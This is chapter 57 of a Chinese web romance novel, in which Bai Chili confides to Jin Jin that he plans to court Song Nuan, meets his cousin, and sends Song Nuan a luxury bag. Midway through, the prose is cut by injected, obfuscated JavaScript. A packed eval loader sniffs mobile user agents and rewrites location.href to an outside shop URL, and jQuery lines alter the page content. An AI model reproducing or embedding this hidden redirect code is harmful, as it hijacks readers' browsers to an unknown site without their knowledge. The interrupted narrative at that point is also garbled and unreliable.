57. 第五十七章 想你
作品:《白日暖阳》 “我要追宋暖。”
白池礼话落,金矜挑了挑眉,意料之外又情理之中。
原来真是这样。
先前的猜测得到了印证,金矜靠入舒适的椅背,眉眼间防备的神色松懈下来,她心情颇好的抓人小辫子,戏谑道,“之前在帝都时,你不是还坚持说不喜欢我们小暖的嘛,现在是怎样?你这‘真香’来的未免也太快了吧。”
她可还记着当时在酒吧时,面前这人一副不以为然的高姿态呢。
白池礼脸皮厚,并不觉得打脸,“此一时彼一时嘛。”
当时的他还没能明白自己的心意,对那些“旁观者清”自然是嗤之以鼻的,而如今,他既然已经知道了自己的心思,那这个人,他不想错过,也,势在必得。
“你喜欢小暖什么呢?”金矜不由有些好奇。
喜欢她什么啊。。。白池礼略微低头,不知想到什么,他嘴角微勾,连眼神都柔和了下来。
喜欢她天真而不傻,喜欢她知世故而不世故,喜欢她善良而有锋芒,喜欢她的纯粹,喜欢她没心没肺的笑容,喜欢她身上让人不由想要亲近的暖意,喜欢她经历了磨难依旧能心生正能量。
更喜欢,和她在一起时,会变得欢喜平和的他自己。
这么多的喜欢,白池礼抬起头时,到口的只有一句,“喜欢就喜欢了啊,哪里需要什么理由。”
对上金矜明显怀疑不信的视线,他旁征博引还拖人下水,“就像,你对明生有好感,需要什么理由吗?宋暖之于我,明生之于你,有什么差别?”
金矜喜欢施明生,大大方方,从不藏着掖着,就连白池礼,都收到过多次这位金大小姐明里暗里向他探问施明生的事的微信信息。
金矜对他拿她来说事也不恼,她想了想,只问,“你认识小暖才几个月吧,对她了解有多深?有没有兴趣知道她以前的事?”
“愿闻其详。”白池礼洗耳恭听。
即便他已经清清楚楚的知道了她过往的每一桩事,但这并不妨碍他想听听,在她闺蜜的口中,会是怎样描述他的小蠢蛋的。
金矜,肖婕与宋暖认识将近十年了,自高中认识之初,因着性格性情相投,三人很快就成了无话不谈的闺蜜,多年的亲密相交,金矜知道宋暖所有的事,包括她拒绝相见的亲生父亲,不愿承认的宋家子嗣身份,还有与林泽炜那个渣男的交往与分手内情,她通通都知道。
她娓娓道来,有分寸的只捡林泽炜的事来说,言语之间全是偏袒。
可,她就是偏袒了又如何?宋暖是她的闺蜜,她自然是偏袒她的啊。
白池礼听着听着,嘴角溢出一抹轻笑,他的小蠢蛋看着傻兮兮的,倒是个运气好的,有这样一个真心对她好的闺蜜,这如何不能说不是一种幸运呢。
他的小蠢蛋能有这样的幸运,他觉得很欢喜。
“她不像她表面所表现出来的那么乐观快乐的,她其实是很封闭自我,又很没有安全感的一个人,很难真正对人敞开心扉,她也有很多的小缺点,需要有人能给予她陪伴与包容,所以,你说的喜欢,能喜欢多久?”故事尾声时,金矜问。
她之所以将宋暖的那段往事告诉白池礼,是因着宋暖成长经历的关系,她的隐性性格中有着外人所不能窥见到的自卑与敏感,若是将来这两人的恋情有什么波折,她怕宋暖会受到伤害。
而任何一点伤害,都是她作为朋友所不愿看到的。
白池礼看向金矜,收敛起脸上玩世不恭的表情,直言不讳的正色道,“坦白说,我不能保证能喜欢多久,将来的事谁又能未卜先知呢?我只能说,当下的我,很喜欢她,和她在一起的每一刻,我都很喜欢她。”
“宋暖是我第一个喜欢上的人,自我清楚自己的感情后,对她的喜欢,与日俱增。”
话落,金矜审视般盯视着白池礼,白池礼倒也坦然,迎着她的视线不避不让的回视着她。
这话说得不动听,却实在,金矜自己也曾有过几段恋情,自然知道他说的是实话。
谁又能保证将来如何呢,所有承诺将来的,不过是一种美好的祈愿而已,却,过于理想主义,不合实际。
以她的私心,当然是希望这两人能在一起的,除了门当户对这个外因外,在她的眼中,即便白池礼真是一个一无是处的世家公子哥,单凭他的真挚与坦诚这两点,也比那个林泽炜不知道要好上多少了。
就拿他能为了宋暖特地来找她,为了讨好她特地送上这份厚礼来说,都是永远在算计得失永远在犹豫不决的林泽炜所远远比不上的。
她相信自己识人的眼光。
更何况,短短的两次相处,她倒是不认同宋暖的看法,这白池礼怎么看也不像是个平凡简单之人呐。
“你要我怎么帮你?”金矜斟酌了番,收回视线,算是松了口。
白池礼的神色随之放松下来,“你只要帮我说说好话,打打助攻就行了。”
至于追人这回事儿嘛,他会自己来。
“我还有一个要求。”
白池礼颔首,示意她继续。
“我要追施明生。”金矜下巴微抬,语气坚定,自信又张扬。
白池礼眉梢微扬,继而笑了,巧了,这位金大小姐在某些方面居然和他还有点像?
他略略取舍一番,才道,“我只能说尽量给你创造机会,至于其他的,只能靠你自己了,我可不卖兄弟。”
金矜将指间的名片收下,终于首肯下来,“成交。”
___________________________________
从金矜的公司出来已是中午,兜里的手机响个不停,白池礼拿出来看了眼,是他那表弟杜星朗。
“怎么了?”白池礼被申城六月的毒日头晒得,有点不耐烦。
杜星朗咋呼咋呼的声音从听筒传来,“哥,你在哪儿呢?快到雍庭会馆来,我有重要的资料给你。”
“不去,晚上回去再说。”他下午还有事呢。
白池礼说完准备挂电话,杜星朗及时喊住人,“诶,你等等,等等,真很重要的资料,不骗你,一手新鲜出炉的,我以人格保证,你绝对会有兴趣。”
白池礼被他吵得脑仁疼,他微微蹙眉看了眼时间,其实他所在的位置离雍庭会馆不远,他想了会儿,回道,“等着,现在过去。”
白池礼到时,杜星朗已经在雍庭会馆的咖啡厅等着了,雍庭会馆算是申城数一数二的顶级会所了,与帝都的麒鹭会馆一南一北分庭抗礼各有特色,而这并不是白池礼所关注的,他关注的,是它的所有者,申城宋家。
“哥,这可是我托了朋友的朋友的朋友才弄到手的资料,可不容易了,你快看看,是不是很有用?”白池礼才坐下,连口水都没来得及喝,杜星朗就迫不及待献宝似的递上了一个文件袋。
还朋友的朋友的朋友?什么了不得的资料至于绕那么多道弯?白池礼勉勉强强接过,打开封口,将里面的资料取出来,随意扫了眼。
原来,是乔家的资料。
白池礼翻了翻厚厚一沓资料,这里面记载的内容绝对隐私,说是密辛都不为过了,想来杜星朗最近这段时间花费了不少精力在此。
杜星朗见人在看资料,他嘴也没个消停的,继续叨逼叨,“我说你怎么不早一天回来呢,姑姑今早的飞机去海城大学参加研讨会了,你这是完美错过了啊。”
“嗯,打过电话了。”白池礼将资料粗粗翻阅到末尾,然后收起。
他早上给母亲打电话时,已经知道了这件事,他母亲杜琼兰虽然只是学校的名誉教授,但她一向致力于学术的推进,这次去海城大学交流的机会难得,杜琼兰自然不会错过。
杜星朗眼见白池礼看完了资料,他眨着星星眼上赶着求表扬,“怎么样?这些内容够劲爆吧?不枉你跑这一趟吧?”
白池礼将文件袋的封口关拢,才抬头看向对面的人,“我上次说过,如何对付乔家,甚至是将来面对白家,都是我一个人的事,星朗,你不该插手的。”
他没说的是,杜星朗的这份资料确实有用,可对他来说,这份资料上的内容他的人早就调查得清清楚楚了,他也早就看过了,甚至,他所知道的,比现在手上的这份更详细,更充分。
杜星朗偏过头,撇了撇嘴,不满的哼哼,一副好心被人当成了驴肝肺的怨怼表情。
白池礼张了张嘴,刚想开口,眼角余光扫到一抹从外走进来的身影,他目光一顿,视线追随着人。
雍庭会馆的私密性很好,他们坐的这处靠走廊,可以很清晰的看到外面走进来的人,而外面的人却因着植被的环绕,并不能看清他们。
白池礼沉默的时间稍长,杜星朗不干了,想着他表哥这也太无情了吧,他怎么说没有功劳也是有苦劳的好不好,也不想想他这是为谁辛苦为谁忙呢?还不赶紧来哄哄他的嘛?
于是,他抬起头,憋着一肚子的牢骚怨气准备轰炸某人。
这一抬头,见到白池礼的视线落在外面,杜星朗好奇宝宝上身,探过头,跟着他的视线望过去。
嗯?外面走过的人是。。。宋孝成?
“哥,你认识宋孝成啊?”杜星朗顾不上牢骚了,惊讶的问白池礼。
他和宋孝成有过几面之缘,那可是个扮猪吃老虎的高手,绝对不是个好相与的角色。
而且就他所知,他哥这几年都在美国,回国的次数一只手都能数得过来,以他对他哥的了解,他也没见他哥在申城有认识什么人啊。
“不认识。”白池礼收回视线。
“。。。”那您还看得这么起劲做啥?
“嗯,这宋孝成,”白池礼喝了口咖啡,不紧不慢的补充,“说不定,以后,会和他关系匪浅。”
等他将小蠢蛋追到手,那小蠢蛋的堂哥,可不就是和他关系匪浅了嘛。
然而,很显然的,杜星朗理解能力有限,也不知他怎么想的,脑中污力满满,理解错了方向。
他瞬间瞪大了双眼,瞠目结舌不敢置信的看向白池礼,又往外去看宋孝成已经走远的背影,然后,视线在这两人之间来回打量,如同受到了巨大的刺激,痴傻了一般。
这,这,这,他哥的意思,该不会是,嗯,内什么吧?
虽然,他是不否认宋孝成长得身高腿长人模狗样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331916|196288||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的啦,但是这两人站在一起,他实在是想象不出会有什么粉红泡泡啊?
等等,等等,这么一说,他想起来了,怪不得这么多年来都没个女人能入他哥的眼的,所以,原来,症结在这里?
白家有没有后他是不关心啦,但是他姑姑若是知道了他哥的特殊爱好,能接受的了?
还有他爷爷,也就是白池礼的外公,老人家一大把年纪了,能接受外孙这么前卫,这么不拘一格的特殊爱好吗?
还有还有,宋孝成呢?他会同意和他哥,谱写一出郎情妾意可歌可泣的断背爱情吗?他们两人,嗯,这样那样时,会是谁上谁下?谁0谁1?
杜星朗觉得自己被他哥这轻描淡写中透露出来的蛛丝马迹给震撼得,脑袋宕机了啦。
怪不得啊怪不得,他之前说什么等着看他哥栽在哪个女人手里非她不可至死不渝时,他哥那不屑一顾轻蔑的眼神,那浑不在意还能嘲讽他恋爱脑的口吻,原来,是这个缘由啊。
根本就不可能有什么女人嘛,男人还差不多,哦,就宋孝成这种的,才能入他哥的眼嘛。
白池礼完全不知道对面那人将他编排成什么样子了,他看了眼时间,下午他约了人确实该走了,他将文件袋一收,交代,“这次就算了,以后不要再搞这些小动作了,杜家不必趟这个浑水。”
杜星朗脑子里一时塞了太多废料,还转不过弯儿来,对他说的话置若罔闻。
白池礼懒得理他,站起身预备走,刚转过身,他想到一桩事,又转了回来,问呆呆坐着的人,“你上次说,你那女朋友是H家VVVIP级顾客?”
“啊?哦。。。嗯。”杜星朗反射弧长,好一会儿才应声。
白池礼满意的点头,吩咐,“帮我办桩事。”
____________________________
晚上九点,白池礼坐在杜家别墅的露台上,手执一杯冰镇白葡萄酒,惬意的呷了口,然后,他望着远处墨兰夜色下隐而不见的江面,估摸了下时间,将电话拨出。
这个时间点,某个小蠢蛋应该喂完流浪猫也收到快递了吧。
电话响了几声,被接起,那头传来某人的声音,“喂,什么事啊?”
白池礼嘴角微勾,眼内染上了笑意,他低声朝电话那头的人诱惑开口,“哦,没什么,就,想你了呗。”
玩笑的话,却带着几分真,才一天不见,他也不知道自己居然会,这么想她。
原来,古人所说的,一日不见如隔三秋,是至理名言呢。
此时刚刚洗完澡还顶着一头湿漉漉头发的宋暖,翻了个白眼,不惯着他,毫不犹豫的将电话挂了。
这个小白痴,嘴里简直就没个正经的。
白池礼听着电话里传来的忙音,轻笑出声,怎么办,追这个脑袋不开窍的小蠢蛋,还真是路漫漫其修远兮,任重而道远呢。
他又喝了口顺滑的酒,略略想了想,然后将微信视频打开,再次拨过去。
宋暖听到了,但她就是无视他,自个儿干自个儿的事。
对于没事干专门骚扰她的人,她才不愿搭理哦。
等她将头发吹了个半干,微信视频提示音仍旧在孜孜不倦的周而复始的响着,是个她不接就没完没了的架势,她气恼的将吹风机放下,顺手接起视频。
“你到底什么事啊?”还能不能好了?宋暖气呼呼的瞪着视频那头的人。
白池礼看着某人气急败坏却生动的一张俏脸,心情颇好,为免再被挂电话,他特地绕了个弯,问,“我找人给你送了个快递,你收到了吗?”
“你送的?”她下班时门口确实有个快递,写着她的名字,她还没来得及拆呢。
“嗯,去拆了看看。”白池礼指挥着人。
宋暖不疑有他,听他这样说,以为是和工作相关的东西,就去了客厅将箱子拆开,箱子里面放着的是一只包装精美的盒子,盒子的颜色赫然是H家的经典LOGO,宋暖又将盒子打开。
里面躺着的是。。。H家当季限定款的那只包。
也就是昨晚陈玲想买却得不到的那只。
“你这是。。。?”宋暖将包举起给视频那头的人看,不明白他这是什么意思。
白池礼将屏幕里某人刚刚洗漱过后发梢还带着湿润,脸蛋瓷白净透还微微泛着潮热水汽的模样尽收眼底,他唇角一弯,眼底泛起涟漪,淡淡开口,“昨晚不是有人求而不得吗?那你索性背着,气死她。”
这么小儿科的幼稚做法。。。宋暖大眼睛扑闪两下,眉眼一弯,却笑了。
巧了,她就是这么小肚鸡肠啊,她就是龇牙必报啊,她就是存心想膈应陈玲啊,嗯,白池礼的这个做法,很合她的心意哦。
“谢啦。”宋暖很满意,收下了这个礼物。
白池礼桃花眼往下弯,是和她同款的笑弧,他轻笑着继续道,“还有,刚才说的是真的。”
“嗯?”宋暖两眼茫然,刚才他还说了什么吗?
白池礼注视着镜头那端的人,眼眸渐深,薄唇翕合间,落下一句清晰直白直击人心的话。
“我说,我,想你了。”

